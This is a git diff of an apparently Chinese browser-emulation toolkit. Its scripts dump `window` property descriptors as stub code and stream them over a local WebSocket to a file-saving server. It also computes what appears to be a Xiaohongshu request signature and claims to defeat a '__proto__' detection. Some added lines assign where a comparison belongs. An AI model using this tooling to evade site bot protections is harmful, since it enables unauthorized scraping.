if(descriptor.hasOwnProperty("get")){ + if (descriptor.hasOwnProperty("get")) { + if (prop ='default'){prop='bodefault'} let get = descriptor.get; - if(typeof get === "function"){ + if (typeof get === "function") { let defaultValue; - try{ + try { defaultValue = get.call(instanceObj); - }catch(e){} - if(defaultValue === undefined || defaultValue instanceof Object){ - let name=objName.split('.')[0] - let name_pro=objName.split('.')[1] + } catch (e) {} + if (defaultValue === undefined || defaultValue instanceof Object) { + let name = objName.split('.')[0] + let name_pro = objName.split('.')[1] code += `get:function ${prop} (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['${name}'].${name_pro}, "${protoName}", "${prop}_get", arguments)}, `; - }else{ - let name=objName.split('.')[0] - let name_pro=objName.split('.')[1] - if(typeof defaultValue === "string"){ + } else { + let name = objName.split('.')[0] + let name_pro = objName.split('.')[1] + if (typeof defaultValue === "string") { code += `get:function ${prop} (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['${name}'].${name_pro}, "${protoName}", "${prop}_get", arguments, '${defaultValue}')}, `; - }else if(typeof value === 'symbol'){ + } else if (typeof value === 'symbol') { code += `get:function ${prop} (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['${name}'].${name_pro}, "${protoName}", "${prop}_get", arguments, ${defaultValue.toString()})}, `; - }else{ + } else { code += `get:function ${prop} (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['${name}'].${name_pro}, "${protoName}", "${prop}_get", arguments, ${defaultValue})}, `; } } - }else{ + } else { code += `get:undefined, ` } } - if(descriptor.hasOwnProperty("set")){ + if (descriptor.hasOwnProperty("set")) { + if (prop ='default'){prop='bodefault'} let set = descriptor.set; - if(typeof set === "function"){ - let name=objName.split('.')[0] - let name_pro=objName.split('.')[1] + if (typeof set === "function") { + let name = objName.split('.')[0] + let name_pro = objName.split('.')[1] code += `set:function ${prop} (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['${name}'].${name_pro}, "${protoName}", "${prop}_set", arguments)}`; - }else{ + } else { code += `set:undefined` } } @@ -142,195 +163,154 @@ getDescriptor = function getDescriptor(obj, prop, objName, protoName, instanceOb // 获取属性描述符 -getDescriptor2 = function getDescriptor2(obj, prop, objName, protoName, instanceObj){ +getDescriptor2 = function getDescriptor2(obj, prop, objName, protoName, instanceObj) { let descriptor = Object.getOwnPropertyDescriptor(obj, prop); let configurable = descriptor.configurable; let enumerable = descriptor.enumerable; let code = `{configurable:${configurable}, enumerable:${enumerable}, `; - if(descriptor.hasOwnProperty("writable")){ + if (descriptor.hasOwnProperty("writable")) { let writable = descriptor.writable; code += `writable:${writable}, `; } - bobocode=`${prop}=bodavm.memory.globalobj['${prop}']` + bobocode = `${prop}=bodavm.memory.globalobj['${prop}']` // console.log(bobocode) - if(descriptor.hasOwnProperty("value")){ + if (descriptor.hasOwnProperty("value")) { let value = descriptor.value; - if(value instanceof Object){ - if(typeof value === "function"){ - code += `value:function ${prop} (){return bodavm.toolsFunc.dispatch(this, ${objName}, "${protoName}", "${prop}", arguments)}`; - }else{ + if (prop =='in'){prop ='boin'} + if (value instanceof Object) { + if (typeof value === "function") { + code += `value:function ${prop} (){return bodavm.toolsFunc.dispatch(this, ${objName}, "${protoName}", "${prop}", arguments)}()`; + } else { // 需要关注 console.log("需要额外关注", value); // JSON.stringify(value); code += `value:{}` } - }else if(typeof value === 'symbol'){ + } else if (typeof value === 'symbol') { code += `value:${value.toString()}`; - }else if(typeof value === "string"){ - code += `value:"${value}"`; - }else{ + } else if (typeof value === "string") { + code += `value:'${value}'`; + } else { code += `value:${value}`; } } - if(descriptor.hasOwnProperty("get")){ + if (descriptor.hasOwnProperty("get")) { let get = descriptor.get; - if(typeof get === "function"){ + if (typeof get === "function") { let defaultValue; - try{ + try { defaultValue = get.call(instanceObj); - }catch(e){} - if(defaultValue === undefined || defaultValue instanceof Object){ + } catch (e) {} + if (defaultValue === undefined || defaultValue instanceof Object) { code += `get:function ${prop} (){return bodavm.toolsFunc.dispatch(this, ${objName}, "${protoName}", "${prop}_get", arguments)}, `; - }else{ - if(typeof defaultValue === "string"){ + } else { + if (typeof defaultValue === "string") { code += `get:function ${prop} (){return bodavm.toolsFunc.dispatch(this, ${objName}, "${protoName}", "${prop}_get", arguments, '${defaultValue}')}, `; - }else if(typeof value === 'symbol'){ + } else if (typeof value === 'symbol') { code += `get:function ${prop} (){return bodavm.toolsFunc.dispatch(this, ${objName}, "${protoName}", "${prop}_get", arguments, ${defaultValue.toString()})}, `; - }else{ + } else { code += `get:function ${prop} (){return bodavm.toolsFunc.dispatch(this, ${objName}, "${protoName}", "${prop}_get", arguments, ${defaultValue})}, `; } } - }else{ + } else { code += `get:undefined, ` } } - if(descriptor.hasOwnProperty("set")){ + if (descriptor.hasOwnProperty("set")) { let set = descriptor.set; - if(typeof set === "function"){ + if (typeof set === "function") { code += `set:function ${prop} (){return bodavm.toolsFunc.dispatch(this, ${objName}, "${protoName}", "${prop}_set", arguments)}`; - }else{ + } else { code += `set:undefined` } } code += '}'; // copy(bobocode) return code; -} +};;; + + // code1=getProtoEnvCode(webkitRequestFileSystem,'webkitRequestFileSystem') // copy(code1) // code2=getObjEnvCode(webkitRequestFileSystem,'webkitRequestFileSystem',webkitRequestFileSystem) -function isFirstLetterUpperCase(str) { - return str.charAt(0) === str.charAt(0).toUpperCase(); - } -res=Object.getOwnPropertyDescriptors(window) -filterlist=[ - "VMError", - "Buffer", - "boallundefined", - "bofs", - "isWindowSystem", - "bodaobj", - "bocreateCanvas", - "Promise", - "get_cookie", - "threetime", - "mylist", - "Object", - "Function", - "Array", - "Number", - "parseFloat", - "parseInt", - "Infinity", - "NaN", - "undefined", - "Boolean", - "String", - "Symbol", - "Date", - "RegExp", - "Error", - "AggregateError", - "EvalError", - "RangeError", - "ReferenceError", - "SyntaxError", - "TypeError", - "URIError", - "globalThis", - "JSON", - "Math", - "console", - "Intl", - "ArrayBuffer", - "Uint8Array", - "Int8Array", - "Uint16Array", - "Int16Array", - "Uint32Array", - "Int32Array", - "Float32Array", - "Float64Array", - "Uint8ClampedArray", - "BigUint64Array", - "BigInt64Array", - "DataView", - "Map", - "BigInt", - "Set", - "WeakMap", - "WeakSet", - "Proxy", - "Reflect", - "FinalizationRegistry", - "WeakRef", - "decodeURI", - "decodeURIComponent", - "encodeURI", - "encodeURIComponent", - "escape", - "unescape", - "eval", - "isFinite", - "isNaN", - "SharedArrayBuffer", - "Atomics", - "WebAssembly", - "myloglist", - "myloglistindex", - "myundefinedlist", - "bodavm", - "boeval", - "mytime_stamp", - "key", - "dir", - "dirxml", - "profile", - "profileEnd", - "clear", - "table", - "keys", - "values", - "debug", - "undebug", - "monitor", - "unmonitor", - "inspect", - "copy", - "queryObjects", - "$_", - "$0", - "$1", - "$2", - "$3", - "$4", - "require", - ] -for (const key in res) { - if (key in filterlist){continue } - if (isFirstLetterUpperCase(key)){ +// res= +// debugger + +(function() { + window.ws = new WebSocket('ws://127.0.0.1:8010/'); + ws.onopen = function() { // debugger - getProtoEnvCode(key,key+'') - - }else{ - code2=getObjEnvCode(key,key+'',key) + console.log("连接服务器成功"); + + // res = + // target_list = [] + // for (let i in res) { + // target_list.push(i) + // } + filterlist = ["setTimeout","setInterval","clearTimeout","getProtoEnvCode","getObjEnvCode","getDescriptor2","getDescriptor","filterlist","sucess_list","fail_list","VMError", "Buffer", "boallundefined", "bofs", "isWindowSystem", "bodaobj", "bocreateCanvas", "Promise", "get_cookie", "threetime", "mylist", "Object", "Function", "Array", "Number", "parseFloat", "parseInt", "Infinity", "NaN", "undefined", "Boolean", "String", "Symbol", "Date", "RegExp", "Error", "AggregateError", "EvalError", "RangeError", "ReferenceError", "SyntaxError", "TypeError", "URIError", "globalThis", "JSON", "Math", "console", "Intl", "ArrayBuffer", "Uint8Array", "Int8Array", "Uint16Array", "Int16Array", "Uint32Array", "Int32Array", "Float32Array", "Float64Array", "Uint8ClampedArray", "BigUint64Array", "BigInt64Array", "DataView", "Map", "BigInt", "Set", "WeakMap", "WeakSet", "Proxy", "Reflect", "FinalizationRegistry", "WeakRef", "decodeURI", "decodeURIComponent", "encodeURI", "encodeURIComponent", "escape", "unescape", "eval", "isFinite", "isNaN", "SharedArrayBuffer", "Atomics", "WebAssembly", "myloglist", "myloglistindex", "myundefinedlist", "bodavm", "boeval", "mytime_stamp", "key", "dir", "dirxml", "profile", "profileEnd", "clear", "table", "keys", "values", "debug", "undebug", "monitor", "unmonitor", "inspect", "copy", "queryObjects", "$_", "$0", "$1", "$2", "$3", "$4", "require", 'window', // 'self' + ] + sucess_list = [] + fail_list = [] + for (let key_ in Object.getOwnPropertyDescriptors(window)){ + // debugger + // key_ = target_list.pop() + if (key_ == "opener") { + // debugger + } + if (filterlist.indexOf(key_) != -1) { + continue + } + // ccc=Object.getOwnPropertyDescriptor(window,key_) + key = window[key_] + res__ = '' + fileName = '' + try { + fileName = key_ + '.js' + if (key && key.prototype) { + // debugger + if (sucess_list.indexOf(fileName) != -1) { + console.log('已经下载完成', fileName) + continue + + } + console.log(key) + // debugger + res__ = getProtoEnvCode(key, key_) + // debugger + ws.send(fileName+'___'+res__); + + } else { + if (sucess_list.indexOf(fileName) != -1) { + console.log('已经下载完成', fileName) + continue + } + console.log(key) + res__ = getObjEnvCode(key, key_, key) + debugger + ws.send(fileName+'___'+res__); + } + } catch (e) { + // res__ = '' + fail_list.push(key_) + console.log('失败了-----呜呜呜') + debugger + } + console.log(fail_list) + } + } -} -// copy(code2HTMLElement -// if (code1){ -// code3=code1+"\r\n"+code2 -// copy(code3) - -// }else{ -// copy(code2) -// } + + ; + ws.onclose = function() { + console.log("服务器关闭"); + } + ; + ws.onerror = function() { + console.log("连接出错"); + } + ; + ws.onmessage = function(evt) { + console.log(evt.data) + console.log(document.cookie); + } +})(); diff --git a/env_xbb_lastest_jsdom/tools/脱环境/tuodom.py b/env_xbb_lastest_jsdom/tools/脱环境/tuodom.py index 79f31a37..edce7094 100644 --- a/env_xbb_lastest_jsdom/tools/脱环境/tuodom.py +++ b/env_xbb_lastest_jsdom/tools/脱环境/tuodom.py @@ -131,8 +131,9 @@ async def recv_msg(websocket): recv_text = await websocket.recv() print('res',recv_text) filename=recv_text.split('___')[0] + print('filename_____',filename) content=recv_text.split('___')[1] - file='./env/'+filename + file=r'D:\My_Dir\env_xbb_lastest_jsdom\env\\'+filename #修改需要导出的路径 mode='w' if os.path.exists(file): mode='a+' diff --git a/env_xbb_lastest_jsdom/tools/脱环境/tuodom2.js b/env_xbb_lastest_jsdom/tools/脱环境/tuodom2.js new file mode 100644 index 00000000..edda543f --- /dev/null +++ b/env_xbb_lastest_jsdom/tools/脱环境/tuodom2.js @@ -0,0 +1,355 @@ +getProtoEnvCode = function getProtoEnvCode(proto, instanceObj) { + // proto: 原型函数 + // instanceObj: 实例对象, 可选参数 + let code = ""; + let protoName = proto.name; + // 添加注释 + code += `// ${protoName}对象\r\n`; + new_name = instanceObj.toLowerCase() + if (new_name.startsWith('webkit')) { + code += `${instanceObj} =${protoName}` + return code + } + + // 定义原型 + code += `${protoName} = function ${protoName}(){`; + try { + new proto; + code += `}` + '\r\n'; + + // try { + // eval('new proto(1)') + // }catch (e){ + // debugger + // } + // code += `this._boarg= new bodaobj.window.${protoName}();` + } catch (e) { + // if (!(this instanceof Image)) { + // return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Image': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + // }; + code += `if (!(this instanceof ${protoName})){return throwError("${e.name}", "${e.message}")};` + '\r\n'; + } + // code += `this._boisinit=bodavm.config.isinit}\r\n`; + // 保护原型 + code += `bodavm.toolsFunc.safeProto('${protoName}', "${protoName}");\r\n`; + // 设置原型链 + let protoObj = proto.prototype; + let proto_protoName = Object.getPrototypeOf(protoObj)[Symbol.toStringTag]; + if (proto_protoName !== undefined) { + code += `${protoName}.prototype.__proto__=${proto_protoName}.prototype;\r\n`; + + } + if (proto.__proto__.name) { + code += `${protoName}.__proto__=${proto.__proto__.name};\r\n`; + } + + // 设置原型的属性 + for (const key in Object.getOwnPropertyDescriptors(proto)) { + if (key === "arguments" || key === "caller" || key === "length" || key === "name" || key === "prototype") { + continue; + } + let descriptor = getDescriptor(proto, key, protoName, protoName, instanceObj); + code += `bodavm.toolsFunc.defineProperty(${protoName}, "${key}", ${descriptor});\r\n`; + } + // 设置原型对象的属性 + for (const key in Object.getOwnPropertyDescriptors(proto.prototype)) { + if (key === "constructor") { + continue; + } + let descriptor = getDescriptor(proto.prototype, key, `${protoName}.prototype`, protoName, instanceObj); + code += `bodavm.toolsFunc.defineProperty(${protoName}.prototype, "${key}", ${descriptor});\r\n`; + } + // console.log(code); + // copy(code); + return code; +} +// 获取实例对象的环境代码 +getObjEnvCode = function getObjEnvCode(obj, objName, instanceObj) { + let code = ""; + // 添加注释 + code += `// ${objName}对象\r\n`; + // 定义对象 + code += `${objName} = { + }\r\n`; + // 设置原型 + let protoName = Object.getPrototypeOf(obj)[Symbol.toStringTag]; + if (protoName !== undefined) { + code += `${objName}.__proto__=${protoName}.prototype;\r\n`; + } + for (const key in Object.getOwnPropertyDescriptors(obj)) { + let descriptor = getDescriptor2(obj, key, objName, objName, instanceObj); + code += `bodavm.toolsFunc.defineProperty('${objName}', "${key}", ${descriptor});\r\n`; + } + console.log(code); + // copy(code); + return code +} + +// 获取属性描述符 +getDescriptor = function getDescriptor(obj, prop, objName, protoName, instanceObj) { + let descriptor = Object.getOwnPropertyDescriptor(obj, prop); + let configurable = descriptor.configurable; + let enumerable = descriptor.enumerable; + let code = `{configurable:${configurable}, enumerable:${enumerable}, `; + if (descriptor.hasOwnProperty("writable")) { + let writable = descriptor.writable; + code += `writable:${writable}, `; + } + if (descriptor.hasOwnProperty("value")) { + let value = descriptor.value; + if (value instanceof Object) { + if (typeof value === "function") { + if (prop.toString() == 'delete') { + // debugger + prop = ' ' + } else if (prop.toString() == 'in') { + prop = ' ' + debugger + }else if (prop.toString() == 'continue') { + prop = ' ' + debugger + } + let name = objName.split('.')[0] + let name_pro = objName.split('.')[1] + code += `value:function ${prop} (){debugger}`; + } else { + // 需要关注 + console.log("需要额外关注", value); + // JSON.stringify(value); + code += `value:{}` + } + } else if (typeof value === 'symbol') { + code += `value:${value.toString()}`; + } else if (typeof value === "string") { + code += `value:"${value}"`; + } else { + code += `value:${value}`; + } + } + if (descriptor.hasOwnProperty("get")) { + let get = descriptor.get; + if (typeof get === "function") { + let defaultValue; + try { + defaultValue = get.call(instanceObj); + } catch (e) { + } + if (prop.toString() == 'delete') { + prop = ' ' + } else if (prop.toString() == 'default') { + prop = ' ' + debugger + } + if (defaultValue === undefined || defaultValue instanceof Object) { + let name = objName.split('.')[0] + let name_pro = objName.split('.')[1] + code += `get:function ${prop} (){debugger}, `; + } else { + let name = objName.split('.')[0] + let name_pro = objName.split('.')[1] + code += `get:function ${prop} (){debugger}, `; + + // if (typeof defaultValue === "string") { + // } else if (typeof value === 'symbol') { + // code += `get:function ${prop} (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['${name}'].${name_pro}, "${protoName}", "${prop}_get", arguments, ${defaultValue.toString()})}, `; + // } else { + // code += `get:function ${prop} (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['${name}'].${name_pro}, "${protoName}", "${prop}_get", arguments, ${defaultValue})}, `; + // } + } + } else { + code += `get:undefined, ` + } + } + if (descriptor.hasOwnProperty("set")) { + let set = descriptor.set; + if (typeof set === "function") { + let name = objName.split('.')[0] + let name_pro = objName.split('.')[1] + if (prop.toString() == 'delete') { + prop = ' ' + } + code += `set:function ${prop} (){debugger}`; + } else { + code += `set:undefined` + } + } + code += '}'; + return code; +} +// let my=window.openDatabase( "EkcP","","EkcP",10000) +// let aa=styleMedia.__proto__ + +// 获取属性描述符 + +getDescriptor2 = function getDescriptor2(obj, prop, objName, protoName, instanceObj) { + let descriptor = Object.getOwnPropertyDescriptor(obj, prop); + let configurable = descriptor.configurable; + let enumerable = descriptor.enumerable; + let code = `{configurable:${configurable}, enumerable:${enumerable}, `; + if (descriptor.hasOwnProperty("writable")) { + let writable = descriptor.writable; + code += `writable:${writable}, `; + } + bobocode = `${prop}={}` + // console.log(bobocode) + if (descriptor.hasOwnProperty("value")) { + let value = descriptor.value; + if (value instanceof Object) { + if (typeof value === "function") { + if (prop.toString() == 'delete') { + prop = ' ' + // debugger + } else if (prop.toString() == 'in') { + prop = ' ' + debugger + } else if (prop.toString() == 'continue') { + prop = ' ' + debugger + } + code += `value:function ${prop} (){debugger}`; + } else { + // 需要关注 + console.log("需要额外关注", value); + // JSON.stringify(value); + code += `value:{}` + } + } else if (typeof value === 'symbol') { + code += `value:${value.toString()}`; + } else if (typeof value === "string") { + code += `value:"${value}"`; + } else { + code += `value:${value}`; + } + } + if (descriptor.hasOwnProperty("get")) { + let get = descriptor.get; + if (typeof get === "function") { + let defaultValue; + try { + defaultValue = get.call(instanceObj); + } catch (e) { + } + if (defaultValue === undefined || defaultValue instanceof Object) { + if (prop.toString() == 'delete') { + prop = ' ' + } else if (prop.toString() == 'in') { + prop = ' ' + // debugger + } else if (prop.toString() == 'default') { + prop = ' ' + debugger + } + code += `get:function ${prop} (){debugger}, `; + // } else { + // if (typeof defaultValue === "string") { + // code += `get:function ${prop} (){return bodavm.toolsFunc.dispatch(this, ${objName}, "${protoName}", "${prop}_get", arguments, '${defaultValue}')}, `; + // } else if (typeof value === 'symbol') { + // code += `get:function ${prop} (){return bodavm.toolsFunc.dispatch(this, ${objName}, "${protoName}", "${prop}_get", arguments, ${defaultValue.toString()})}, `; + // } else { + // code += `get:function ${prop} (){return bodavm.toolsFunc.dispatch(this, ${objName}, "${protoName}", "${prop}_get", arguments, ${defaultValue})}, `; + // } + } + } else { + code += `get:undefined, ` + } + } + if (descriptor.hasOwnProperty("set")) { + let set = descriptor.set; + if (typeof set === "function") { + code += `set:function ${prop} (){debugger}`; + } else { + code += `set:undefined` + } + } + code += '}'; + // copy(bobocode) + return code; +}; +; +; + + +// code1=getProtoEnvCode(webkitRequestFileSystem,'webkitRequestFileSystem') +// copy(code1) +// code2=getObjEnvCode(webkitRequestFileSystem,'webkitRequestFileSystem',webkitRequestFileSystem) +// res= +// debugger + +(function () { + window.ws = new WebSocket('ws://127.0.0.1:8010/'); + ws.onopen = function () { + // debugger + console.log("连接服务器成功"); + + // res = + // target_list = [] + // for (let i in res) { + // target_list.push(i) + // } + filterlist = ["setTimeout", "setInterval", "clearTimeout", "getProtoEnvCode", "getObjEnvCode", "getDescriptor2", "getDescriptor", "filterlist", "sucess_list", "fail_list", "VMError", "Buffer", "boallundefined", "bofs", "isWindowSystem", "bodaobj", "bocreateCanvas", "Promise", "get_cookie", "threetime", "mylist", "Object", "Function", "Array", "Number", "parseFloat", "parseInt", "Infinity", "NaN", "undefined", "Boolean", "String", "Symbol", "Date", "RegExp", "Error", "AggregateError", "EvalError", "RangeError", "ReferenceError", "SyntaxError", "TypeError", "URIError", "globalThis", "JSON", "Math", "console", "Intl", "ArrayBuffer", "Uint8Array", "Int8Array", "Uint16Array", "Int16Array", "Uint32Array", "Int32Array", "Float32Array", "Float64Array", "Uint8ClampedArray", "BigUint64Array", "BigInt64Array", "DataView", "Map", "BigInt", "Set", "WeakMap", "WeakSet", "Proxy", "Reflect", "FinalizationRegistry", "WeakRef", "decodeURI", "decodeURIComponent", "encodeURI", "encodeURIComponent", "escape", "unescape", "eval", "isFinite", "isNaN", "SharedArrayBuffer", "Atomics", "WebAssembly", "myloglist", "myloglistindex", "myundefinedlist", "bodavm", "boeval", "mytime_stamp", "key", "dir", "dirxml", "profile", "profileEnd", "clear", "table", "keys", "values", "debug", "undebug", "monitor", "unmonitor", "inspect", "copy", "queryObjects", "$_", "$0", "$1", "$2", "$3", "$4", "require", 'window', // 'self' + ] + sucess_list = [] + fail_list = [] + for (let key_ in Object.getOwnPropertyDescriptors(window)) { + // debugger + // key_ = target_list.pop() + if (key_ == "opener") { + // debugger + } + if (filterlist.indexOf(key_) != -1) { + continue + } + // ccc=Object.getOwnPropertyDescriptor(window,key_) + key = window[key_] + res__ = '' + fileName = '' + try { + fileName = key_ + '.js' + if (key && key.prototype) { + // debugger + if (sucess_list.indexOf(fileName) != -1) { + console.log('已经下载完成', fileName) + continue + + } + console.log(key) + // debugger + res__ = getProtoEnvCode(key, key_) + // debugger + ws.send(fileName + '___' + res__); + + } else { + if (sucess_list.indexOf(fileName) != -1) { + console.log('已经下载完成', fileName) + continue + } + console.log(key) + res__ = getObjEnvCode(key, key_, key) + // debugger + ws.send(fileName + '___' + res__); + } + } catch (e) { + // res__ = '' + fail_list.push(key_) + console.log('失败了-----呜呜呜') + // debugger + } + console.log(fail_list) + } + + } + + ; + ws.onclose = function () { + console.log("服务器关闭"); + } + ; + ws.onerror = function () { + console.log("连接出错"); + } + ; + ws.onmessage = function (evt) { + console.log(evt.data) + console.log(document.cookie); + } +})(); diff --git a/readme.md b/readme.md index abb69442..a4a4048f 100644 --- a/readme.md +++ b/readme.md @@ -1,11 +1,8 @@ -0218: +0605: -1.重构了整个架构,现在除window外所有原型和实例都已经存在了globalobj中, +解决了'__proto__'检测 -- 可以让所有方法,都经过dispatch分发器转发 -- 可以在检测代理的情况下,知道目标代码调用了window下哪些方法 -2.由于刚修改完,很多方法还未进行同步 0216: @@ -13,7 +10,7 @@ 2.补了下form表单操作 -请使用我提供的node,不然doument.all会报错,然后由于精力有限,暂时主要补全jsdom版本的,因为补起来比较方便 +请使用我提供的node,不然doument.all会报错 Q:826814133 diff --git a/xhs-XS.js b/xhs-XS.js index e65515e9..9e8c324f 100644 --- a/xhs-XS.js +++ b/xhs-XS.js @@ -548,4 +548,5 @@ boboi={ "note_type": 0 } // res=window._webmsxyw(bobou,boboi) -console.log('sssssssssssssss ',JSON.stringify(window._webmsxyw(bobou,boboi))) \ No newline at end of file +console.log('sssssssssssssss ',JSON.stringify(window._webmsxyw(bobou,boboi))) +//正确628位 \ No newline at end of file